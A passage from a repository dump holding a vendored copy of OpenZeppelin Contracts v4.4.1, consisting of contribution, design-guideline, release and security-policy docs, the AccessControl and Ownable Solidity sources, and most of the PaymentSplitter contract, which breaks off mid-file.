available at https://www.contributor-covenant.org/version/1/4/code-of-conduct.html
[homepage]: https://www.contributor-covenant.org
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/CONTRIBUTING.md
================================================
Contributing to OpenZeppelin Contracts
=======
We really appreciate and value contributions to OpenZeppelin Contracts. Please take 5' to review the items listed below to make sure that your contributions are merged as soon as possible.
## Contribution guidelines
Smart contracts manage value and are highly vulnerable to errors and attacks. We have very strict [guidelines], please make sure to review them!
## Creating Pull Requests (PRs)
As a contributor, you are expected to fork this repository, work on your own fork and then submit pull requests. The pull requests will be reviewed and eventually merged into the main repo. See ["Fork-a-Repo"](https://help.github.com/articles/fork-a-repo/) for how this works.
## A typical workflow
1) Make sure your fork is up to date with the main repository:
```
cd openzeppelin-contracts
git remote add upstream https://github.com/OpenZeppelin/openzeppelin-contracts.git
git fetch upstream
git pull --rebase upstream master
```
NOTE: The directory `openzeppelin-contracts` represents your fork's local copy.
2) Branch out from `master` into `fix/some-bug-#123`:
(Postfixing #123 will associate your PR with the issue #123 and make everyone's life easier =D)
```
git checkout -b fix/some-bug-#123
```
3) Make your changes, add your files, commit, and push to your fork.
```
git add SomeFile.js
git commit "Fix some bug #123"
git push origin fix/some-bug-#123
```
4) Run tests, linter, etc. This can be done by running local continuous integration and make sure it passes.
```bash
npm test
npm run lint
```
5) Go to [github.com/OpenZeppelin/openzeppelin-contracts](https://github.com/OpenZeppelin/openzeppelin-contracts) in your web browser and issue a new pull request.
*IMPORTANT* Read the PR template very carefully and make sure to follow all the instructions. These instructions
refer to some very important conditions that your PR must meet in order to be accepted, such as making sure that all tests pass, JS linting tests pass, Solidity linting tests pass, etc.
6) Maintainers will review your code and possibly ask for changes before your code is pulled in to the main repository. We'll check that all tests pass, review the coding style, and check for general code correctness. If everything is OK, we'll merge your pull request and your code will be part of OpenZeppelin Contracts.
*IMPORTANT* Please pay attention to the maintainer's feedback, since its a necessary step to keep up with the standards OpenZeppelin Contracts attains to.
## All set!
If you have any questions, feel free to post them to github.com/OpenZeppelin/openzeppelin-contracts/issues.
Finally, if you're looking to collaborate and want to find easy tasks to start, look at the issues we marked as ["Good first issue"](https://github.com/OpenZeppelin/openzeppelin-contracts/labels/good%20first%20issue).
Thanks for your time and code!
[guidelines]: GUIDELINES.md
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/DOCUMENTATION.md
================================================
Documentation is hosted at https://docs.openzeppelin.com/contracts.
All of the content for the site is in this repository. The guides are in the
[docs](/docs) directory, and the API Reference is extracted from comments in
the source code. If you want to help improve the content, this is the
repository you should be contributing to.
[`solidity-docgen`](https://github.com/OpenZeppelin/solidity-docgen) is the
program that extracts the API Reference from source code.
The [`docs.openzeppelin.com`](https://github.com/OpenZeppelin/docs.openzeppelin.com)
repository hosts the configuration for the entire site, which includes
documentation for all of the OpenZeppelin projects.
To run the docs locally you should run `npm run docs:watch` on this
repository.
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/GUIDELINES.md
================================================
Design Guidelines
=======
These are some global design goals in OpenZeppelin Contracts.
#### D0 - Security in Depth
We strive to provide secure, tested, audited code. To achieve this, we need to match intention with function. Thus, documentation, code clarity, community review and security discussions are fundamental.
#### D1 - Simple and Modular
Simpler code means easier audits, and better understanding of what each component does. We look for small files, small contracts, and small functions. If you can separate a contract into two independent functionalities you should probably do it.
#### D2 - Naming Matters
We take our time with picking names. Code is going to be written once, and read hundreds of times. Renaming for clarity is encouraged.
#### D3 - Tests
Write tests for all your code. We encourage Test Driven Development so we know when our code is right. Even though not all code in the repository is tested at the moment, we aim to test every line of code in the future.
#### D4 - Check preconditions and post-conditions
A very important way to prevent vulnerabilities is to catch a contract’s inconsistent state as early as possible. This is why we want functions to check pre- and post-conditions for executing its logic. When writing code, ask yourself what you are expecting to be true before and after the function runs, and express it in code.
#### D5 - Code Consistency
Consistency on the way classes are used is paramount to an easier understanding of the library. The codebase should be as unified as possible. Read existing code and get inspired before you write your own. Follow the style guidelines. Don’t hesitate to ask for help on how to best write a specific piece of code.
#### D6 - Regular Audits
Following good programming practices is a way to reduce the risk of vulnerabilities, but professional code audits are still needed. We will perform regular code audits on major releases, and hire security professionals to provide independent review.
# Style Guidelines
The design guidelines have quite a high abstraction level. These style guidelines are more concrete and easier to apply, and also more opinionated. We value clean code and consistency, and those are prerequisites for us to include new code in the repository. Before proposing a change, please read these guidelines and take some time to familiarize yourself with the style of the existing codebase.
## Solidity code
In order to be consistent with all the other Solidity projects, we follow the
[official recommendations documented in the Solidity style guide](http://solidity.readthedocs.io/en/latest/style-guide.html).
Any exception or additions specific to our project are documented below.
* Try to avoid acronyms and abbreviations.
* All state variables should be private.
* Private state variables should have an underscore prefix.
```
contract TestContract {
uint256 private _privateVar;
uint256 internal _internalVar;
}
```
* Parameters must not be prefixed with an underscore.
```
function test(uint256 testParameter1, uint256 testParameter2) {
...
}
```
* Internal and private functions should have an underscore prefix.
```
function _testInternal() internal {
...
}
```
```
function _testPrivate() private {
...
}
```
* Events should be emitted immediately after the state change that they
represent, and consequently they should be named in past tense.
```
function _burn(address who, uint256 value) internal {
super._burn(who, value);
emit TokensBurned(who, value);
}
```
Some standards (e.g. ERC20) use present tense, and in those cases the
standard specification prevails.
* Interface names should have a capital I prefix.
```
interface IERC777 {
```
## Tests
* Tests Must be Written Elegantly
Tests are a good way to show how to use the library, and maintaining them is extremely necessary. Don't write long tests, write helper functions to make them be as short and concise as possible (they should take just a few lines each), and use good variable names.
* Tests Must not be Random
Inputs for tests should not be generated randomly. Accounts used to create test contracts are an exception, those can be random. Also, the type and structure of outputs should be checked.
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/LICENSE
================================================
The MIT License (MIT)
Copyright (c) 2016-2020 zOS Global Limited
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/README.md
================================================
#
[](https://docs.openzeppelin.com/contracts)
[](https://www.npmjs.org/package/@openzeppelin/contracts)
[](https://codecov.io/gh/OpenZeppelin/openzeppelin-contracts)
**A library for secure smart contract development.** Build on a solid foundation of community-vetted code.
* Implementations of standards like [ERC20](https://docs.openzeppelin.com/contracts/erc20) and [ERC721](https://docs.openzeppelin.com/contracts/erc721).
* Flexible [role-based permissioning](https://docs.openzeppelin.com/contracts/access-control) scheme.
* Reusable [Solidity components](https://docs.openzeppelin.com/contracts/utilities) to build custom contracts and complex decentralized systems.
:mage: **Not sure how to get started?** Check out [Contracts Wizard](https://wizard.openzeppelin.com/) — an interactive smart contract generator.
## Overview
### Installation
```console
$ npm install @openzeppelin/contracts
```
OpenZeppelin Contracts features a [stable API](https://docs.openzeppelin.com/contracts/releases-stability#api-stability), which means your contracts won't break unexpectedly when upgrading to a newer minor version.
### Usage
Once installed, you can use the contracts in the library by importing them:
```solidity
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
contract MyCollectible is ERC721 {
constructor() ERC721("MyCollectible", "MCO") {
}
}
```
_If you're new to smart contract development, head to [Developing Smart Contracts](https://docs.openzeppelin.com/learn/developing-smart-contracts) to learn about creating a new project and compiling your contracts._
To keep your system secure, you should **always** use the installed code as-is, and neither copy-paste it from online sources, nor modify it yourself. The library is designed so that only the contracts and functions you use are deployed, so you don't need to worry about it needlessly increasing gas costs.
## Learn More
The guides in the [docs site](https://docs.openzeppelin.com/contracts) will teach about different concepts, and how to use the related contracts that OpenZeppelin Contracts provides:
* [Access Control](https://docs.openzeppelin.com/contracts/access-control): decide who can perform each of the actions on your system.
* [Tokens](https://docs.openzeppelin.com/contracts/tokens): create tradeable assets or collectives, and distribute them via [Crowdsales](https://docs.openzeppelin.com/contracts/crowdsales).
* [Gas Station Network](https://docs.openzeppelin.com/contracts/gsn): let your users interact with your contracts without having to pay for gas themselves.
* [Utilities](https://docs.openzeppelin.com/contracts/utilities): generic useful tools, including non-overflowing math, signature verification, and trustless paying systems.
The [full API](https://docs.openzeppelin.com/contracts/api/token/ERC20) is also thoroughly documented, and serves as a great reference when developing your smart contract application. You can also ask for help or follow Contracts's development in the [community forum](https://forum.openzeppelin.com).
Finally, you may want to take a look at the [guides on our blog](https://blog.openzeppelin.com/guides), which cover several common use cases and good practices.. The following articles provide great background reading, though please note, some of the referenced tools have changed as the tooling in the ecosystem continues to rapidly evolve.
* [The Hitchhiker’s Guide to Smart Contracts in Ethereum](https://blog.openzeppelin.com/the-hitchhikers-guide-to-smart-contracts-in-ethereum-848f08001f05) will help you get an overview of the various tools available for smart contract development, and help you set up your environment.
* [A Gentle Introduction to Ethereum Programming, Part 1](https://blog.openzeppelin.com/a-gentle-introduction-to-ethereum-programming-part-1-783cc7796094) provides very useful information on an introductory level, including many basic concepts from the Ethereum platform.
* For a more in-depth dive, you may read the guide [Designing the Architecture for Your Ethereum Application](https://blog.openzeppelin.com/designing-the-architecture-for-your-ethereum-application-9cec086f8317), which discusses how to better structure your application and its relationship to the real world.
## Security
This project is maintained by [OpenZeppelin](https://openzeppelin.com), and developed following our high standards for code quality and security. OpenZeppelin Contracts is meant to provide tested and community-audited code, but please use common sense when doing anything that deals with real money! We take no responsibility for your implementation decisions and any security problems you might experience.
The core development principles and strategies that OpenZeppelin Contracts is based on include: security in depth, simple and modular code, clarity-driven naming conventions, comprehensive unit testing, pre-and-post-condition sanity checks, code consistency, and regular audits.
The latest audit was done on October 2018 on version 2.0.0.
Please report any security issues you find via our [bug bounty program on Immunefi](https://www.immunefi.com/bounty/openzeppelin) or directly to security@openzeppelin.org.
Critical bug fixes will be backported to past major releases.
## Contribute
OpenZeppelin Contracts exists thanks to its contributors. There are many ways you can participate and help build high quality software. Check out the [contribution guide](CONTRIBUTING.md)!
## License
OpenZeppelin Contracts is released under the [MIT License](LICENSE).
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/RELEASING.md
================================================
# Releasing
> Visit the documentation for [details about release schedule].
Start on an up-to-date `master` branch.
Create the release branch with `npm run release start minor`.
Publish a release candidate with `npm run release rc`.
Publish the final release with `npm run release final`.
Follow the general [OpenZeppelin Contracts release checklist].
[details about release schedule]: https://docs.openzeppelin.com/contracts/releases-stability
[OpenZeppelin Contracts release checklist]: https://github.com/OpenZeppelin/code-style/blob/master/RELEASE_CHECKLIST.md
## Merging the release branch
After the final release, the release branch should be merged back into `master`. This merge must not be squashed because it would lose the tagged release commit. Since the GitHub repo is set up to only allow squashed merges, the merge should be done locally and pushed.
Make sure to have the latest changes from `upstream` in your local release branch.
```
git checkout release-vX.Y.Z
git pull upstream
```
```
git checkout master
git merge --no-ff release-vX.Y.Z
git push upstream master
```
The release branch can then be deleted on GitHub.
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/SECURITY.md
================================================
# Security Policy
## Supported Versions
The recommendation is to use the latest version available.
| Version | Supported |
| ------- | ------------------------------------ |
| 4.x | :white_check_mark::white_check_mark: |
| 3.4 | :white_check_mark: |
| 2.5 | :white_check_mark: |
| < 2.0 | :x: |
## Reporting a Vulnerability
Please report any security issues you find to security@openzeppelin.org.
Critical bug fixes will be backported to past major releases.
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/access/AccessControl.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/AccessControl.sol)
pragma solidity ^0.8.0;
import "./IAccessControl.sol";
import "../utils/Context.sol";
import "../utils/Strings.sol";
import "../utils/introspection/ERC165.sol";
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms. This is a lightweight version that doesn't allow enumerating role
* members except through off-chain means by accessing the contract event logs. Some
* applications may benefit from on-chain enumerability, for those cases see
* {AccessControlEnumerable}.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControl is Context, IAccessControl, ERC165 {
struct RoleData {
mapping(address => bool) members;
bytes32 adminRole;
}
mapping(bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Modifier that checks that an account has a specific role. Reverts
* with a standardized message including the required role.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*
* _Available since v4.1._
*/
modifier onlyRole(bytes32 role) {
_checkRole(role, _msgSender());
_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view override returns (bool) {
return _roles[role].members[account];
}
/**
* @dev Revert with a standard message if `account` is missing `role`.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*/
function _checkRole(bytes32 role, address account) internal view {
if (!hasRole(role, account)) {
revert(
string(
abi.encodePacked(
"AccessControl: account ",
Strings.toHexString(uint160(account), 20),
" is missing role ",
Strings.toHexString(uint256(role), 32)
)
)
);
}
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view override returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been revoked `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual override {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*
* NOTE: This function is deprecated in favor of {_grantRole}.
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
bytes32 previousAdminRole = getRoleAdmin(role);
_roles[role].adminRole = adminRole;
emit RoleAdminChanged(role, previousAdminRole, adminRole);
}
/**
* @dev Grants `role` to `account`.
*
* Internal function without access restriction.
*/
function _grantRole(bytes32 role, address account) internal virtual {
if (!hasRole(role, account)) {
_roles[role].members[account] = true;
emit RoleGranted(role, account, _msgSender());
}
}
/**
* @dev Revokes `role` from `account`.
*
* Internal function without access restriction.
*/
function _revokeRole(bytes32 role, address account) internal virtual {
if (hasRole(role, account)) {
_roles[role].members[account] = false;
emit RoleRevoked(role, account, _msgSender());
}
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/access/AccessControlEnumerable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/AccessControlEnumerable.sol)
pragma solidity ^0.8.0;
import "./IAccessControlEnumerable.sol";
import "./AccessControl.sol";
import "../utils/structs/EnumerableSet.sol";
/**
* @dev Extension of {AccessControl} that allows enumerating the members of each role.
*/
abstract contract AccessControlEnumerable is IAccessControlEnumerable, AccessControl {
using EnumerableSet for EnumerableSet.AddressSet;
mapping(bytes32 => EnumerableSet.AddressSet) private _roleMembers;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControlEnumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev Returns one of the accounts that have `role`. `index` must be a
* value between 0 and {getRoleMemberCount}, non-inclusive.
*
* Role bearers are not sorted in any particular way, and their ordering may
* change at any point.
*
* WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
* you perform all queries on the same block. See the following
* https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
* for more information.
*/
function getRoleMember(bytes32 role, uint256 index) public view override returns (address) {
return _roleMembers[role].at(index);
}
/**
* @dev Returns the number of accounts that have `role`. Can be used
* together with {getRoleMember} to enumerate all bearers of a role.
*/
function getRoleMemberCount(bytes32 role) public view override returns (uint256) {
return _roleMembers[role].length();
}
/**
* @dev Overload {_grantRole} to track enumerable memberships
*/
function _grantRole(bytes32 role, address account) internal virtual override {
super._grantRole(role, account);
_roleMembers[role].add(account);
}
/**
* @dev Overload {_revokeRole} to track enumerable memberships
*/
function _revokeRole(bytes32 role, address account) internal virtual override {
super._revokeRole(role, account);
_roleMembers[role].remove(account);
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/access/IAccessControl.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/IAccessControl.sol)
pragma solidity ^0.8.0;
/**
* @dev External interface of AccessControl declared to support ERC165 detection.
*/
interface IAccessControl {
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {AccessControl-_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) external view returns (bool);
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {AccessControl-_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) external view returns (bytes32);
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) external;
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/access/IAccessControlEnumerable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/IAccessControlEnumerable.sol)
pragma solidity ^0.8.0;
import "./IAccessControl.sol";
/**
* @dev External interface of AccessControlEnumerable declared to support ERC165 detection.
*/
interface IAccessControlEnumerable is IAccessControl {
/**
* @dev Returns one of the accounts that have `role`. `index` must be a
* value between 0 and {getRoleMemberCount}, non-inclusive.
*
* Role bearers are not sorted in any particular way, and their ordering may
* change at any point.
*
* WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
* you perform all queries on the same block. See the following
* https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
* for more information.
*/
function getRoleMember(bytes32 role, uint256 index) external view returns (address);
/**
* @dev Returns the number of accounts that have `role`. Can be used
* together with {getRoleMember} to enumerate all bearers of a role.
*/
function getRoleMemberCount(bytes32 role) external view returns (uint256);
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/access/Ownable.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/access/README.adoc
================================================
= Access Control
[.readme-notice]
NOTE: This document is better viewed at https://docs.openzeppelin.com/contracts/api/access
This directory provides ways to restrict who can access the functions of a contract or when they can do it.
- {AccessControl} provides a general role based access control mechanism. Multiple hierarchical roles can be created and assigned each to multiple accounts.
- {Ownable} is a simpler mechanism with a single owner "role" that can be assigned to a single account. This simpler mechanism can be useful for quick tests but projects with production concerns are likely to outgrow it.
== Authorization
{{Ownable}}
{{IAccessControl}}
{{AccessControl}}
{{IAccessControlEnumerable}}
{{AccessControlEnumerable}}
================================================
FILE: 2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/finance/PaymentSplitter.sol
================================================
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (finance/PaymentSplitter.sol)
pragma solidity ^0.8.0;
import "../token/ERC20/utils/SafeERC20.sol";
import "../utils/Address.sol";
import "../utils/Context.sol";
/**
* @title PaymentSplitter
* @dev This contract allows to split Ether payments among a group of accounts. The sender does not need to be aware
* that the Ether will be split in this way, since it is handled transparently by the contract.
*
* The split can be in equal parts or in any other arbitrary proportion. The way this is specified is by assigning each
* account to a number of shares. Of all the Ether that this contract receives, each account will then be able to claim
* an amount proportional to the percentage of total shares they were assigned.
*
* `PaymentSplitter` follows a _pull payment_ model. This means that payments are not automatically forwarded to the
* accounts but kept in this contract, and the actual transfer is triggered as a separate step by calling the {release}
* function.
*
* NOTE: This contract assumes that ERC20 tokens will behave similarly to native tokens (Ether). Rebasing tokens, and
* tokens that apply fees during transfers, are likely to not be supported as expected. If in doubt, we encourage you
* to run tests before sending real value to this contract.
*/
contract PaymentSplitter is Context {
event PayeeAdded(address account, uint256 shares);
event PaymentReleased(address to, uint256 amount);
event ERC20PaymentReleased(IERC20 indexed token, address to, uint256 amount);
event PaymentReceived(address from, uint256 amount);
uint256 private _totalShares;
uint256 private _totalReleased;
mapping(address => uint256) private _shares;
mapping(address => uint256) private _released;
address[] private _payees;
mapping(IERC20 => uint256) private _erc20TotalReleased;
mapping(IERC20 => mapping(address => uint256)) private _erc20Released;
/**
* @dev Creates an instance of `PaymentSplitter` where each account in `payees` is assigned the number of shares at
* the matching position in the `shares` array.
*
* All addresses in `payees` must be non-zero. Both arrays must have the same non-zero length, and there must be no
* duplicates in `payees`.
*/
constructor(address[] memory payees, uint256[] memory shares_) payable {
require(payees.length == shares_.length, "PaymentSplitter: payees and shares length mismatch");
require(payees.length > 0, "PaymentSplitter: no payees");
for (uint256 i = 0; i < payees.length; i++) {
_addPayee(payees[i], shares_[i]);
}
}
/**
* @dev The Ether received will be logged with {PaymentReceived} events. Note that these events are not fully
* reliable: it's possible for a contract to receive Ether without triggering this function. This only affects the
* reliability of the events, and not the actual splitting of Ether.
*
* To learn more about this see the Solidity documentation for
* https://solidity.readthedocs.io/en/latest/contracts.html#fallback-function[fallback
* functions].
*/
receive() external payable virtual {
emit PaymentReceived(_msgSender(), msg.value);
}
/**
* @dev Getter for the total shares held by payees.
*/
function totalShares() public view returns (uint256) {
return _totalShares;
}
/**
* @dev Getter for the total amount of Ether already released.
*/
function totalReleased() public view returns (uint256) {
return _totalReleased;
}
/**
* @dev Getter for the total amount of `token` already released. `token` should be the address of an IERC20
* contract.
*/
function totalReleased(IERC20 token) public view returns (uint256) {
return _erc20TotalReleased[token];
}
/**
* @dev Getter for the amount of shares held by an account.
*/
function shares(address account) public view returns (uint256) {
return _shares[account];
}
/**
* @dev Getter for the amount of Ether already released to a payee.
*/
function released(address account) public view returns (uint256) {
return _released[account];
}
/**
* @dev Getter for the amount of `token` tokens already released to a payee. `token` should be the address of an
* IERC20 contract.
*/
function released(IERC20 token, address account) public view returns (uint256) {
return _erc20Released[token][account];
}
/**
* @dev Getter for the address of the payee number `index`.
*/
function payee(uint256 index) public view returns (address) {
return _payees[index];
}
/**
* @dev Triggers a transfer to `account` of the amount of Ether they are owed, according to their percentage of the
* total shares and their previous withdrawals.
*/
function release(address payable account) public virtual {
require(_shares[account] > 0, "PaymentSplitter: account has no shares");
uint256 totalReceived = address(this).balance + totalReleased();
uint256 payment = _pendingPayment(account, totalReceived, released(account));
require(payment != 0, "PaymentSplitter: account is not due payment");
_released[account] += payment;
_totalReleased += payment;
Address.sendValue(account, payment);
emit PaymentReleased(account, payment);
}
/**
* @dev Triggers a transfer to `account` of the amount of `token` tokens they are owed, according to their
* percentage of the total shares and their previous withdrawals. `token` must be the address of an IERC20
* contract.
*/
function release(IERC20 token, address account) public virtual {
require(_shares[account] > 0, "PaymentSplitter: account has no shares");
uint256 totalReceived = token.balanceOf(address(this)) + totalReleased(token);
uint256 payment = _pendingPayment(account, totalReceived, released(token, account));
require(payment != 0, "PaymentSplitter: account is not due payment");
_erc20Released[token][account] += payment;
_erc20TotalReleased[token] += payment;
SafeERC20.safeTransfer(token, account, payment);
emit ERC20PaymentReleased(token, account, payment);
}
/**
* @dev internal logic for computing the pending payment of an `account` given the token historical balances and
* already released amounts.
*/
function _pendingPayment(
address account,
uint256 totalReceived,
uint256 alreadyReleased
) private view returns (uint256) {
return (totalReceived * _shares[account]) / _totalShares - alreadyReleased;
}
/**
* @dev Add a new payee to the contract.
* @param account The address of the payee to add.
* @param shares_ The number of shares owned by the payee.
*/
